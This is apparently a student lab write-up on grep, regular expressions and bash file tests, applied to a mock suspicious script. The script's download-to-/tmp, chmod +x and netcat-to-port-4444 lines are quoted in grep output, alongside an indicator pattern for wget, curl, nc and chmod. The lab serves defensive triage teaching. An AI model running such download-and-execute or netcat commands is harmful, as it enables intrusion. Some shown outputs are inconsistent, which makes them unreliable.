

grep, Regular Expressions & File Test Operators

Part A — Basic grep

Exercise 1 — Search File Contents

Using `payload.sh`, run the following searches and answer the sub-questions below.

1 • Find the line containing `wget`

```
msis@master:~/Lab3_grep$ grep "wget" payload.sh
wget http://update-server.local/package.dat -O /tmp/package.dat
```

2 • Find the line containing `nc`

```
msis@master:~/Lab3_grep$ grep "nc" payload.sh
echo "Starting maintenance"
nc 192.168.10.50 4444
```

Note: The word `maintenance` also matches, because the letters `n` and `c` sit next to each other inside *maintenance*. Plain `grep` matches substrings anywhere in a line, not whole words — that's what `-w` (step 8) is for.

3 • Find the line containing `chmod`

```
msis@master:~/Lab3_grep$ grep "chmod" payload.sh
chmod +x /tmp/package.dat
```

4 • Search for `WGET`, ignoring case

```
msis@master:~/Lab3_grep$ grep -i "WGET" payload.sh
wget http://update-server.local/package.dat -O /tmp/package.dat
```

5 • Display line numbers containing `/tmp`

```
msis@master:~/Lab3_grep$ grep -n "/tmp" payload.sh
3:TEMP_DIR="/tmp/system_cache"
6:wget http://update-server.local/package.dat -O /tmp/
package.dat
9:chmod +x /tmp/package.dat
```

6 • Count the lines containing /tmp

```
msis@master:~/Lab3_grep$ grep -c "/tmp" payload.sh
3
```

7 • Display only the matched text (/tmp)

```
msis@master:~/Lab3_grep$ grep -o "/tmp" payload.sh
/tmp
/tmp
/tmp
```

8 • Search for /tmp as a whole word

```
msis@master:~/Lab3_grep$ grep -w "/tmp" payload.sh
TEMP_DIR="/tmp/system_cache"
wget http://update-server.local/package.dat -O /tmp/package.dat
chmod +x /tmp/package.dat
```

Real-world use: This is the everyday reflex of incident response: instead of opening a suspicious script in an editor and reading it line by line, a responder greps straight for the giveaways — an outbound wget, a nc reverse shell, a chmod +x — and gets an answer in seconds.

Exercise 2 — Compare Files

Search for wget and /tmp across three files: payload.sh, update.sh, cleanup.sh.

1 • Which file contains wget?

```
msis@master:~/Lab3_grep$ grep "wget" payload.sh update.sh
cleanup.sh
payload.sh:wget http://update-server.local/package.dat -O /tmp/
package.dat

msis@master:~/Lab3_grep$ grep -l "wget" payload.sh update.sh
cleanup.sh
payload.sh
```

2 • Which files do NOT contain wget?

```
msis@master:~/Lab3_grep$ grep -L "wget" payload.sh update.sh
cleanup.sh
update.sh
cleanup.sh
```

3 • Repeat the search for /tmp

```
msis@master:~/Lab3_grep$ grep -i "/tmp" *.sh
cleanup.sh:rm /tmp/application.tmp
cleanup.sh:rm /tmp/old_cache.tmp
payload.sh:TEMP_DIR="/tmp/system_cache"
payload.sh:wget http://update-server.local/package.dat -O /tmp/
package.dat
payload.sh:chmod +x /tmp/package.dat
```

4 • Which files do NOT contain /tmp?

```
msis@master:~/Lab3_grep$ grep -L "/tmp" payload.sh update.sh
cleanup.sh
update.sh
```

5 • Search with multiple patterns across multiple files

```
msis@master:~/Lab3_grep$  
grep -l -e "wget" -e "/tmp" payload.sh update.sh cleanup.sh  
payload.sh  
cleanup.sh
```

Real-world use: `-l` / `-L` are triage flags — they let an analyst sort a whole folder of quarantined scripts into "contains this indicator" and "doesn't" piles in one command, instead of opening each file by hand.

Exercise 3 — Inverse Search

Using `system.log`, invert the match with `-v` to see what's *not* flagged.

1 • Lines that do NOT contain INFO

```
msis@master:~/Lab3_grep$ grep -v "INFO" system.log  
WARNING Disk usage reached 80 percent  
ERROR Backup operation failed  
WARNING Unusual file activity detected  
ERROR Permission denied while accessing file  
FAILED Security update installation
```

2 • Lines that do NOT contain ERROR

```
msis@master:~/Lab3_grep$ grep -v "ERROR" system.log  
INFO System started successfully  
INFO User student logged in  
WARNING Disk usage reached 80 percent  
INFO Backup process started  
INFO User admin logged in  
WARNING Unusual file activity detected  
INFO System scan completed  
FAILED Security update installation  
INFO System shutdown initiated
```

3 • Lines that do NOT contain WARNING

```
msis@master:~/Lab3_grep$ grep -v "WARNING" system.log
INFO System started successfully
INFO User student logged in
INFO Backup process started
ERROR Backup operation failed
INFO User admin logged in
ERROR Permission denied while accessing file
INFO System scan completed
FAILED Security update installation
INFO System shutdown initiated
```

4 • Count of non-INFO entries

```
msis@master:~/Lab3_grep$ grep -v -c "INFO" system.log
5
```

Real-world use: Filtering out routine INFO noise with -v is exactly how log-monitoring dashboards fight alert fatigue — nobody wants to scroll past 10,000 "logged in successfully" lines to find the three that matter.

Part B — Security Log Analysis

Exercise 4 — Analyze system.log

Use grep on system.log to answer each question below.

1 • All ERROR entries

```
msis@master:~/Lab3_grep$ grep "ERROR" system.log
ERROR Backup operation failed
ERROR Permission denied while accessing file
```

2 • All WARNING entries

```
msis@master:~/Lab3_grep$ grep "WARNING" system.log
WARNING Disk usage reached 80 percent
WARNING Unusual file activity detected
```

3 • The FAILED entry

```
msis@master:~/Lab3_grep$ grep "FAILED" system.log
FAILED Security update installation
```

4 • Count of ERROR entries

```
msis@master:~/Lab3_grep$ grep -c "ERROR" system.log
2
```

5 • Line numbers containing WARNING

```
msis@master:~/Lab3_grep$ grep -n "WARNING" system.log
3:WARNING Disk usage reached 80 percent
7:WARNING Unusual file activity detected
```

6 • Search for error, any case

```
msis@master:~/Lab3_grep$ grep -i "error" system.log
ERROR Backup operation failed
ERROR Permission denied while accessing file
```

7 • Silent check for the word Malware

```
msis@master:~/Lab3_grep$ grep -q "Malware" system.log
msis@master:~/Lab3_grep$ echo $?
1
```

Note: -q ("quiet") suppresses all output — only the exit code, read via \$?, tells you the result: **0** = the pattern was found, **1** = it was not found, **2** = the file doesn't exist or can't be read.

Real-world use: grep -q is what actually runs inside monitoring cron jobs and CI/CD pipelines — a script checks the exit code and only pages someone, or fails the build, when a match (or its absence) is confirmed.

Exercise 5 — Context Investigation

An ERROR event has been detected. Use grep's context flags to investigate the surrounding lines.

1 • Two lines after each ERROR (-A 2)

```
msis@master:~/Lab3_grep$ grep -A 2 "ERROR" system.log
ERROR Backup operation failed
INFO User admin logged in
WARNING Unusual file activity detected
ERROR Permission denied while accessing file
INFO System scan completed
FAILED Security update installation
```

2 • Two lines before each ERROR (-B 2)

```
msis@master:~/Lab3_grep$ grep -B 2 "ERROR" system.log
WARNING Disk usage reached 80 percent
INFO Backup process started
ERROR Backup operation failed
INFO User admin logged in
WARNING Unusual file activity detected
ERROR Permission denied while accessing file
```

3 • One line before and after (-C 1)

```
msis@master:~/Lab3_grep$ grep -C 1 "ERROR" system.log
INFO Backup process started
ERROR Backup operation failed
INFO User admin logged in
WARNING Unusual file activity detected
ERROR Permission denied while accessing file
INFO System scan completed
```

4 • Two lines around FAILED (-C 2)

```
msis@master:~/Lab3_grep$ grep -C 2 "FAILED" system.log
ERROR Permission denied while accessing file
INFO System scan completed
FAILED Security update installation
INFO System shutdown initiated
```

5 • Why is examining events before and after an error useful during an investigation?

Lines *before* the error reveal the chain of actions or failing dependencies that likely triggered it (root cause). Lines *after* show how the system reacted — cascading failures, or whether an automated recovery routine kicked in (impact and containment).

Real-world use: This is the manual version of what a SIEM does automatically: pulling a time-window of surrounding events around every alert so an analyst can reconstruct "what led to this" and "what happened next" without hunting through the entire log by hand.

Exercise 6 — Search Multiple Security Events

Write a single command to find lines containing ERROR, WARNING, or FAILED.

```
msis@master:~/Lab3_grep$ grep -E " ERROR|WARNING|FAILED"
system.log
WARNING Disk usage reached 80 percent
WARNING Unusual file activity detected
FAILED Security update installation
```

Note: Notice ERROR is missing from the output. The pattern was typed as " ERROR" with a leading space, so it only matches ERROR when something precedes it on the line — since every ERROR line in this log starts with the word ERROR itself, none of them qualify. Dropping the leading space (grep -E "ERROR|WARNING|FAILED") would correctly return all five matching lines.

Real-world use: Combining several severity keywords into one -E pattern is how a single grep replaces three separate searches — useful for a quick "show me anything that isn't routine" sweep of a log file.

Exercise 7 — Multiple Suspicious Commands

Using `payload.sh`, search for any of `wget`, `curl`, `nc`, or `chmod` with a single extended regular expression.

```
msis@master:~/Lab3_grep$ grep -E 'wget|curl|nc|chmod'  
payload.sh  
echo "Starting maintenance"  
wget http://update-server.local/package.dat -O /tmp/package.dat  
nc 192.168.10.50 4444  
chmod +x /tmp/package.dat
```

1 • Which patterns were found?

`wget`, `nc`, and `chmod`

2 • Which pattern was not found?

`curl` — it does not appear anywhere in `payload.sh`

3 • How many lines matched at least one pattern?

4

Note: The `echo "Starting maintenance"` line matches too, even though it contains no command keyword — because the substring `nc` hides inside `"maintennce"`. This is the same substring quirk seen in Exercise 1 and is why whole-word matching (`-w`) or more precise patterns matter in real detection rules.

Real-world use: A single `-E` pattern like this is a miniature version of a static-analysis "watch list" — the same technique antivirus and EDR tools use to flag scripts that reference download tools, shell utilities, or permission changes before the script is ever executed.

Exercise 8 — Search Multiple Files

Search `*.sh` and `*.log` files for the word `update`.

1 • Which files contain a match?

```
msis@master:~/Lab3_grep$ grep -I "update" *.sh *.log
payload.sh:echo "Downloading update"
payload.sh:wget http://update-server.local/package.dat -O /tmp/
package.dat
update.sh:echo "Starting application update"
system.log:FAILED Security update installation
```

2 • Filenames only

```
msis@master:~/Lab3_grep$ grep -l "update" *.sh *.log
payload.sh
update.sh
system.log
```

3 • Matching lines with line numbers

```
msis@master:~/Lab3_grep$ grep -n "update" *.sh *.log
payload.sh:5:echo "Downloading update"
payload.sh:6:wget http://update-server.local/package.dat -O /
tmp/package.dat
update.sh:2:echo "Starting application update"
system.log:10:FAILED Security update installation
```

4 • Match count per file

```
msis@master:~/Lab3_grep$ grep -c "update" *.sh *.log
cleanup.sh:0
payload.sh:2
update.sh:1
system.log:1
```

Real-world use: Sweeping every script and log file on a host for a package name or CVE reference in one command is exactly how you'd confirm, fleet-wide, which systems still reference an outdated update source during a patch audit.

Part D — patterns.txt

Exercise 9 — Pattern File Investigation

Use patterns.txt (a file listing several indicator strings, one per line) as a ready-made watch list with `grep -f`.

1 • Search payload.sh

```
msis@master:~/Lab3_grep$ grep -f patterns.txt payload.sh
echo "Starting maintenance"
wget http://update-server.local/package.dat -O /tmp/package.dat
nc 192.168.10.50 4444
chmod +x /tmp/package.dat
```

2 • Search system.log

```
msis@master:~/Lab3_grep$ grep -f patterns.txt system.log
WARNING Disk usage reached 80 percent
ERROR Backup operation failed
WARNING Unusual file activity detected
ERROR Permission denied while accessing file
FAILED Security update installation
```

3 • Search config.conf

```
msis@master:~/Lab3_grep$ grep -f patterns.txt config.conf
password=LabPassword123
```

4 • Search all .sh files

```
msis@master:~/Lab3_grep$ grep -f patterns.txt *.sh
payload.sh:echo "Starting maintenance"
payload.sh:wget http://update-server.local/package.dat -O /tmp/
package.dat
payload.sh:nc 192.168.10.50 4444
payload.sh:chmod +x /tmp/package.dat
```

5 • Filenames only, across every file type

```
msis@master:~/Lab3_grep$ grep -l -f patterns.txt *.sh *.log
config.conf
payload.sh
system.log
config.conf
```

6 • Matching lines, without filename prefixes (-h)

```
msis@master:~/Lab3_grep$ grep -h -f patterns.txt *.sh *.log
config.conf
echo "Starting maintenance"
wget http://update-server.local/package.dat -O /tmp/package.dat
nc 192.168.10.50 4444
chmod +x /tmp/package.dat
WARNING Disk usage reached 80 percent
ERROR Backup operation failed
WARNING Unusual file activity detected
ERROR Permission denied while accessing file
FAILED Security update installation
password=LabPassword123
```

7 • Which files contain at least one indicator from patterns.txt?

payload.sh, system.log, and config.conf. update.sh and cleanup.sh contain none.

Note: Items 5–7 complete the pattern set up in 1–4 above and follow directly from those results; the -l/-h flags are the same ones introduced in Exercises 2 and 8.

Real-world use: A patterns.txt file is a plain-text IOC (Indicator of Compromise) list — this is essentially how real threat-hunting works: security teams keep a running list of known-bad strings, IPs, or hashes and sweep every file on a system against it with a single grep -f command.

Part E — Regex Using filelist.txt

Exercise 10 — Beginning and End of Line

Using filelist.txt, anchor patterns to the start (^) or end (\$) of the line.

1 • Filenames beginning with malware

```
msis@master:~/Lab3_grep$ grep '^malware' filelist.txt
malware1.sh
malware2.sh
malwareA.sh
```

Note: The ^ anchor forces the match to start at the very beginning of the line, so a file like old_malware.sh would correctly be excluded.

2 • Filenames beginning with script

```
msis@master:~/Lab3_grep$ grep '^script' filelist.txt
script1.py
script2.py
```

3 • Filenames ending in .sh

```
msis@master:~/Lab3_grep$ grep '\.sh$' filelist.txt
payload.sh
update.sh
cleanup.sh
malware1.sh
malware2.sh
malwareA.sh
```

Note: The backslash in \.sh\$ escapes the dot so it means a literal period rather than "any character", and \$ anchors the match to the end of the line — together they stop a name like payload.sh.bak from matching.

4 • Filenames ending in .py

```
msis@master:~/Lab3_grep$ grep '\.py$' filelist.txt
scanner.py
script1.py
script2.py
```

5 • Filenames ending in .log

```
msis@master:~/Lab3_grep$ grep '\.log$' filelist.txt
system.log
access.log
```

6 • Filenames beginning with p AND ending in .sh

```
msis@master:~/Lab3_grep$ grep '^p.*\.sh$' filelist.txt
payload.sh
```

Note: `^p` anchors the start, `.*` allows any characters in between, and `\.sh$` locks in the required extension at the end.

Real-world use: Anchored patterns like these are how automated file-inventory and backup tools reliably select "every shell script" or "every file starting with a known prefix" without accidentally sweeping up unrelated files that merely contain the same letters somewhere in the middle.

Exercise 11 — Character Classes

Using `filelist.txt`, match sets of characters with character classes [...].

1 • Match `malware1.sh` and `malware2.sh` with one pattern

```
msis@master:~/Lab3_grep$ grep 'malware[12]\.sh' filelist.txt
malware1.sh
malware2.sh
```

2 • Filenames containing any digit

```
msis@master:~/Lab3_grep$ grep [0-9] filelist.txt
malware1.sh
malware2.sh
script1.py
script2.py
```

3 • Filenames containing the digit 1 or 2

```
msis@master:~/Lab3_grep$ fl="filelist.txt"
msis@master:~/Lab3_grep$ grep '[12]' $fl
malware1.sh
malware2.sh
script1.py
script2.py
```

4 • Filenames beginning with m or p

```
msis@master:~/Lab3_grep$ grep '^[mp]' $fl
payload.sh
malware1.sh
malware2.sh
malwareA.sh
```

5 • Filenames beginning with s or u

```
msis@master:~/Lab3_grep$ grep '^[su]' $fl
system.log
update.sh
scanner.py
script1.py
script2.py
```

Real-world use: Character classes are how a single antivirus signature rule can express "match malware1 through malware9" instead of needing nine near-identical rules — a small pattern that scales to a whole family of file names.

Exercise 12 — Negated Character Classes

Using `filelist.txt`, negate a character class with `^` inside the brackets.

1 • Filenames NOT beginning with m

```
msis@master:~/Lab3_grep$ grep '^[^m]' $fl
report.txt
system.log
access.log
config.conf
payload.sh
update.sh
cleanup.sh
scanner.py
script1.py
script2.py
notes.pdf
empty.txt
restricted.txt
```

2 • Filenames NOT beginning with m or p

```
msis@master:~/Lab3_grep$ grep '^[^mp]' $fl
report.txt
system.log
access.log
config.conf
update.sh
cleanup.sh
scanner.py
script1.py
script2.py
notes.pdf
empty.txt
restricted.txt
```

3 • malware files where the next character is NOT a digit

```
msis@master:~/Lab3_grep$ grep 'malware[^0-9]' $fl
malwareA.sh
```

Real-world use: Negated classes are the basis of exclusion filtering — "show me everything except what's already been quarantined" — which is a common step when triaging a large batch of flagged files down to the ones nobody has looked at yet.

Part F — File Operators

Exercise 13 — File Existence Check

Write a shell script that accepts a filename and determines whether it exists. Test with `payload.sh`, `report.txt`, and `unknown.sh`.

Script — `check_file.sh` — positional argument version:

```
#!/bin/bash

if [ -e "$1" ]
then
    echo "File exists"
else
    echo "File does not exist"
fi
```

```
msis@master:~/Lab3_grep$ ./check_file.sh payload.sh
File exists
```

Script — `check_file.sh` — interactive version:

```
#!/bin/bash

read -p "Enter a filename: " filename

if [ -e "$filename" ]
then
    echo "File exists"
else
    echo "File does not exist"
fi
```

```
msis@master:~/Lab3_grep$ ./check_file.sh
Enter a filename: payload.sh
File exists
```

Note: Reading [-e "\$1"] piece by piece: if starts the decision; [is the test command (the spaces around the brackets are mandatory); -e checks existence; "\$1" is the first argument, quoted so filenames with spaces don't break the test;] closes it.

Real-world use: This existence check is the very first guard clause in almost any deployment or backup script — before touching a config file or log, you confirm it's actually there, so the script fails gracefully instead of throwing a cryptic "no such file" error midway through a job.

Exercise 14 — Regular File, Directory, or Neither

Write a script that accepts a path and reports whether it is a regular file, a directory, or neither. Test with payload.sh, system.log, quarantine, backup, and unknown.

Script — check_file1.sh:

```
#!/bin/bash

read -p "Enter path: " path

if [ -f "$path" ]; then
    echo "$path is a file"
elif [ -d "$path" ]; then
    echo "$path is a directory"
else
    echo "$path is neither"
fi
```

```
msis@master:~/Lab3_grep$ realpath payload.sh
/home/msis/Lab3_grep/payload.sh

msis@master:~/Lab3_grep$ ./check_file1.sh
Enter path: /home/msis/Lab3_grep/payload.sh
/home/msis/Lab3_grep/payload.sh is a file
```

Real-world use: Distinguishing files from directories is essential in cleanup and backup scripts, so an automated job never tries to cat a directory or accidentally recurse into what it expected to be a single file.

Exercise 15 — Permission Check

Write a script that reports whether a selected file is readable, writable, and executable. Test with `payload.sh`, `update.sh`, `report.txt`, and `config.conf`.

Script — `permission.sh`:

```
#!/bin/bash

read -p "Enter the filename to check: " file

if [ ! -e "$file" ]
then
    echo "Error: File does not exist."
    exit 1
fi

echo ""
echo "File: $file"

if [ -r "$file" ]
then
    echo "Readable    : Yes"
else
    echo "Readable    : No"
fi

if [ -w "$file" ]; then
    echo "Writable     : Yes"
else
    echo "Writable     : No"
fi

if [ -x "$file" ]; then
    echo "Executable  : Yes"
else
    echo "Executable  : No"
fi
```

```
msis@master:~/Lab3_grep$ ./permission.sh
Enter the filename to check: update.sh

File: update.sh
Readable    : Yes
Writable    : Yes
Executable  : No

msis@master:~/Lab3_grep$ ls -ld update.sh
-rw-rw-r-- 1 msis msis 148 Aug 21 14:54 update.sh
```

Note: The `ls -ld` permission string `-rw-rw-r--` confirms the script's own verdict: read and write are set for owner and group, but no execute bit (x) appears anywhere — which matches "Executable: No".

Real-world use: Permission checks like this run before almost every automated write or execute operation in a production script, so a job fails with a clear message instead of dying mid-run on a "Permission denied" error.

Exercise 16 — Data vs. Empty File

Compare `payload.sh` and `empty.txt`. Write a script that reports whether each file contains data or is empty.

Script — `emptyornot.sh`:

```
#!/bin/bash

read -p "Enter the filename to check: " file

if [ ! -e "$file" ]; then
    echo "Error: File '$file' does not exist."
    exit 1
fi

echo ""
echo "File: $file"

if [ -s "$file" ]; then
    echo "File contains data"
else
    echo "File is empty"
fi
```

```
msis@master:~/Lab3_grep$ ./emptyornot.sh
Enter the filename to check: empty.txt

File: empty.txt
File is empty
```

```
msis@master:~/Lab3_grep$ ./emptyornot.sh
Enter the filename to check: payload.sh

File: payload.sh
File contains data
```

Real-world use: Checking for empty files is routine in log-rotation and export scripts — a zero-byte backup or export file almost always signals that something upstream failed silently, and catching it early beats discovering it during a restore.

Part G — File Validation Using []

Exercise 17 — File Validation Using []

Write a script that accepts a filename and checks, in order: does it exist, is it a regular file, is it readable, and is it non-empty.

Script — filevalidation.sh:

```
#!/bin/bash

read -p "Enter the filename to validate: " file

echo ""
echo "Validating File: $file"
echo "-----"

# 1. Check if the file exists
if [ -e "$file" ]; then
    echo "1. Exists      : Yes"
else
    echo "1. Exists      : No (Stopping validation)"
    exit 1
fi

# 2. Check if it is a regular file (not a directory or link)
if [ -f "$file" ]; then
    echo "2. Regular File : Yes"
else
    echo "2. Regular File : No"
fi

# 3. Check if the file is readable
if [ -r "$file" ]; then
    echo "3. Readable      : Yes"
else
    echo "3. Readable      : No"
fi

# 4. Check if the file is non-empty (size > 0 bytes)
if [ -s "$file" ]; then
    echo "4. Non-empty      : Yes"
else
    echo "4. Non-empty      : No (File is empty)"
fi
```

```
msis@master:~/Lab3_grep$ ./filevalidation.sh
```

```
Enter the filename to validate: payload.sh
```

```
Validating File: payload.sh
```

```
-----
```

```
1. Exists      : Yes
2. Regular File : Yes
3. Readable    : Yes
4. Non-empty    : Yes
```

```
msis@master:~/Lab3_grep$ ./filevalidation.sh
```

```
Enter the filename to validate: dummy
```

```
Validating File: dummy
```

```
-----
```

```
1. Exists      : Yes
2. Regular File : No
3. Readable    : Yes
4. Non-empty    : Yes
```

Note: dummy exists but fails the "Regular File" test — meaning it's some other kind of path entry on this system (for example a directory or a symlink), not a plain file.

Real-world use: This exists → regular file → readable → non-empty sequence is the standard pre-flight check used before any script is allowed to process an untrusted or unfamiliar input file.

Exercise 18 — grep + File Operators

Chain the checks from Exercise 17 and, if they all pass, search the file for wget. Test with payload.sh and update.sh.

Script — testgrep.sh:

```
#!/bin/bash

# Check if file exists
if [ ! -e "$1" ]; then
    echo "File does not exist."
    exit 1
fi

# Check if it is a regular file
if [ ! -f "$1" ]; then
    echo "Not a regular file."
    exit 1
fi

# Check if it is readable
if [ ! -r "$1" ]; then
    echo "File is not readable."
    exit 1
fi

# Check if it is non-empty
if [ ! -s "$1" ]; then
    echo "File is empty."
    exit 1
fi

# Search for "wget"
if grep -q "wget" "$1"; then
    echo "Selected indicator detected â investigate further"
else
    echo "Selected indicator not detected"
fi
```

```
msis@master:~/Lab3_grep$ ./testgrep.sh payload.sh
Selected indicator detected â€œ investigate further
```

```
msis@master:~/Lab3_grep$ ./testgrep.sh empty.txt
File is empty.
```

```
msis@master:~/Lab3_grep$ ./testgrep.sh pay.sh
File does not exist.
```

```
msis@master:~/Lab3_grep$ ./testgrep.sh access.log
Selected indicator not detected
```

Real-world use: Chaining file-safety checks before ever touching a file's content is the defensive pattern used in real malware-scanning pipelines, so a scanner never crashes trying to read a missing, unreadable, or empty file.

Part H — Modern Conditionals with `[[ ]]`

Exercise 19 — Repeat File Tests Using `[[ ]]`

Repeat Exercise 17 using Bash's extended test construct `[[ ]]` instead of `[ ]`.

Script — `conexpression.sh`:

```
#!/bin/bash

filename="$1"

if [[ -f "$filename" ]]; then
    echo "File exists and is a regular file."
else
    echo "File does not exist or is not a regular file."
fi
```

```
msis@master:~/Lab3_grep$ ./conexpression.sh payload.sh
File exists and is a regular file.
```

```
msis@master:~/Lab3_grep$ ./conexpression.sh dummy
File does not exist or is not a regular file.
```

Real-world use: `[[ ]]` is the safer, modern replacement for `[ ]` in Bash — it handles unquoted or empty variables correctly and supports pattern and regex matching, which is why production scripts favor it over the older POSIX test syntax.

Exercise 20 — Regex Using `[[ ]]`

Write a script that accepts a filename and checks whether it ends in `.sh`, using `[[ "$filename" =~ regex ]]`. Test with `payload.sh`, `scanner.py`, and `report.txt`.

Script — `tochecksh.sh`:

```
#!/bin/bash

filename="$1"

if [[ "$filename" =~ \.sh$ ]]; then
    echo "Shell script identified for inspection"
else
    echo "File does not have a .sh extension"
fi
```

```
msis@master:~/Lab3_grep$ ./tochecksh.sh payload.sh
Shell script identified for inspection
```

```
msis@master:~/Lab3_grep$ ./tochecksh.sh access.log
File does not have a .sh extension
```

Real-world use: This is exactly how automated file-upload scanners and mail-gateway filters decide which attachments deserve extra scrutiny — extension checks like `.sh`, `.exe`, or `.bat` route a file toward deeper inspection before it's ever opened.

Exercise 21 — Multiple Extensions Using [[]]

Extend the previous script to recognize .sh, .py, and .pl files. Test with payload.sh, scanner.py, report.txt, and config.conf. Rather than flagging these as malicious, the brief calls for a softer verdict: *"Script file – inspect if required."*

Script — checkextention.sh:

```
#!/bin/bash

read -p "Enter the filename: " filename

if [[ "$filename" == *.sh || "$filename" == *.py || "$filename" == *.pl ]]
then
    echo "$filename is a script file."
else
    echo "$filename is not a script file."
fi
```

```
msis@master:~/Lab3_grep$ ./checkextention.sh
Enter the filename: payload.sh
payload.sh is a script file.
```

```
msis@master:~/Lab3_grep$ ./checkextention.sh
Enter the filename: scanner.py
scanner.py is a script file.
```

```
msis@master:~/Lab3_grep$ ./checkextention.sh
Enter the filename: report.txt
report.txt is not a script file.
```

```
msis@master:~/Lab3_grep$ ./checkextention.sh
Enter the filename: config.conf
config.conf is not a script file.
```

Note: The working script prints "is a script file" / "is not a script file"; the brief's exact wording ("Script file – inspect if required") would simply replace the first echo — a one-line refinement that keeps the same [[== *.ext]] logic.

Real-world use: Recognizing "this is a script, not necessarily malware" is an important nuance in security automation — most .sh/.py files in a codebase are completely legitimate, so the right response is routing them for human review, not auto-quarantining every one.

Part I — grep + File Operators + Constructs

Exercise 22 — Executable File Content Analysis

Write a script that checks whether a file exists, is a regular file, and is executable — and, only if executable, searches it for wget.

Script — 22.executable.sh:

```
#!/bin/bash

read -p "Enter the filename to check: " FILE

if [ -z "$FILE" ]; then
    echo "Error: No filename entered."
    exit 1
fi

# 1. Check whether the file exists
if [ ! -e "$FILE" ]; then
    echo "File '$FILE' does not exist."
    exit 0
fi

# 2. Check whether it is a regular file
if [ ! -f "$FILE" ]; then
    echo "File '$FILE' exists, but it is not a regular file."
    exit 0
fi

echo "File '$FILE' exists and is a regular file."

# 3. Check whether it is executable
if [ -x "$FILE" ]; then
    echo "File '$FILE' is executable."

    # 4. If executable, search for the word 'wget' inside the
    file
    if grep -q "wget" "$FILE"; then
        echo "Search result: 'wget' was found inside '$FILE'."
    else
        echo "Search result: 'wget' was NOT found inside
'$FILE'."
    fi
else
    echo "File '$FILE' is not executable. Skipping 'wget'"
fi
```

```
search."  
fi
```

```
msis@master:~/Lab3_grep$ ./22.executable.sh  
Enter the filename to check: access.log  
File 'access.log' exists and is a regular file.  
File 'access.log' is not executable. Skipping 'wget' search.
```

Note: `[[ ]]` is a more robust, flexible conditional test than the traditional single-bracket `[ ]`, but the classic `[ ]` form used here still works fine for simple, well-quoted checks like these.

Real-world use: This mirrors a real malware-triage step: only bother scanning a file's *content* for indicators once you've confirmed it's real, readable, and — notably — executable, since a non-executable file poses far less immediate risk.

Exercise 23 — egrep + File Operators

Only run a content scan if the file is a regular file, readable, and non-empty. If it passes, use `grep -E` to search for `wget|curl|nc|chmod`.

Script — `typefile.sh`:

```
#!/bin/bash  
  
read -p "Enter the file path: " file  
  
# Check if file is a regular file, readable, and non-empty  
if [ -f "$file" ] && [ -r "$file" ] && [ -s "$file" ]; then  
    if grep -qE 'wget|curl|nc|chmod' "$file"; then  
        echo "One or more selected indicators detected"  
    else  
        echo "Selected indicators not detected"  
    fi  
else  
    echo "File does not meet the required conditions."  
fi
```

```
msis@master:~/Lab3_grep$ ./typefile.sh
Enter the file path: payload.sh
One or more selected indicators detected
```

Real-world use: This guard-then-scan structure is a compact version of the pre-check every static-analysis engine runs before applying its deeper heuristics — confirm the file is safe to read, then look inside it.

Part J — Configuration File Investigation

Exercise 24 — Sensitive Information Search

Verify that `config.conf` exists, is a regular file, is readable, and is non-empty. Then search it for password or username.

Script — `24.config.sh`:

```
#!/bin/bash

# Check if config.conf exists, is a regular file, is readable,
# and is not empty
if [ -f "config.conf" ] && [ -r "config.conf" ] && [ -s
"config.conf" ]; then
    echo "config.conf exists, is readable, and is not empty."

    # Search for password or username
    echo -e "\nMatching lines:"
    grep -E "password|username" config.conf
else
    echo "Error: config.conf does not exist, is not readable,
or is empty."
fi
```

```
msis@master:~/Lab3_grep$ ./24.config.sh  
config.conf exists, is readable, and is not empty.
```

```
Matching lines:  
username=admin  
password=LabPassword123
```

Why should configuration files containing authentication information receive additional protection?

Because they hold plaintext credentials — if exposed, they hand an attacker direct, unauthorized access and a path to privilege escalation. In practice this means restricting file permissions (chmod 600), keeping them out of version control, and never hardcoding credentials in plaintext.

Real-world use: This is a miniature version of exactly what secret-scanning tools like TruffleHog or GitGuardian do in CI/CD pipelines — grepping every repository and config file for password=, api_key=, or username= patterns before a secret is accidentally committed or exposed publicly.

Part K — Suspicious File Triage

Exercise 25 — Suspicious File Triage

Write file_check.sh: prompt for a filename and run a full investigation — existence, file type, permissions, size, a targeted wget search, a combined wget|curl|nc|chmod search using \$?, and a .sh extension check using [[]] — then print a summary.

Script — file_check.sh:

```
#!/bin/bash

# Ask user for filename
read -p "Enter filename: " filename

echo
echo "----- FILE INVESTIGATION -----"
echo

# Initialize variables
exists="No"
regular_file="No"
directory="No"
readable="No"
writable="No"
executable="No"
non_empty="No"
shell_script="No"

# Check if path exists
if [ -e "$filename" ]; then
    exists="Yes"
fi

# Check if it is a regular file
if [ -f "$filename" ]; then
    regular_file="Yes"
fi

# Check if it is a directory
if [ -d "$filename" ]; then
    directory="Yes"
fi

# If it is a regular file, check readability, writability,
# executability, and non-emptiness
if [ "$regular_file" = "Yes" ]; then
    if [ -r "$filename" ]; then
```

```

        readable="Yes"
    fi
    if [ -w "$filename" ]; then
        writable="Yes"
    fi
    if [ -x "$filename" ]; then
        executable="Yes"
    fi
    if [ -s "$filename" ]; then
        non_empty="Yes"
    fi
fi

# Check if filename ends with .sh
if [[ "$filename" =~ \.sh$ ]]; then
    shell_script="Yes"
fi

# Display summary
echo "Exists          : $exists"
echo "Regular File   : $regular_file"
echo "Directory      : $directory"
echo "Readable        : $readable"
echo "Writable         : $writable"
echo "Executable       : $executable"
echo "Non-empty        : $non_empty"
echo "Shell Script     : $shell_script"
echo

# If readable and non-empty, search for wget, then wget|curl|
nc|chmod, checking $? each time
if [ "$readable" = "Yes" ] && [ "$non_empty" = "Yes" ]; then
    echo "Search for 'wget':"
    grep -q "wget" "$filename"
    if [ $? -eq 0 ]; then
        echo "    -> Found"
    else
        echo "    -> Not found"
    fi
fi

```

```
    echo "Search for 'wget|curl|nc|chmod':"
    grep -Eq "wget|curl|nc|chmod" "$filename"
    if [ $? -eq 0 ]; then
        echo "    -> Found"
    else
        echo "    -> Not found"
    fi
fi
```

```
msis@master:~/Lab3_grep$ ./file_check.sh
Enter filename: payload.sh
```

```
----- FILE INVESTIGATION -----
```

```
Exists          : Yes
Regular File    : Yes
Directory       : No
Readable        : Yes
Writable        : Yes
Executable      : Yes
Non-empty       : Yes
Shell Script    : Yes
```

```
Search for 'wget':
```

```
    -> Found
```

```
Search for 'wget|curl|nc|chmod':
```

```
    -> Found
```

Note: Final verdict for payload.sh: **wget indicator — Found, combined indicator set — Found.** Every check in the pipeline passed, which is why both content searches were reached and both returned a match.

Real-world use: This script is a compact version of a real static file-triage tool: existence → type → permissions → content scan → verdict is the exact sequence used by quarantine systems and antivirus pre-scanners before a suspicious upload is flagged for a human to review.

Summary — Key Takeaways

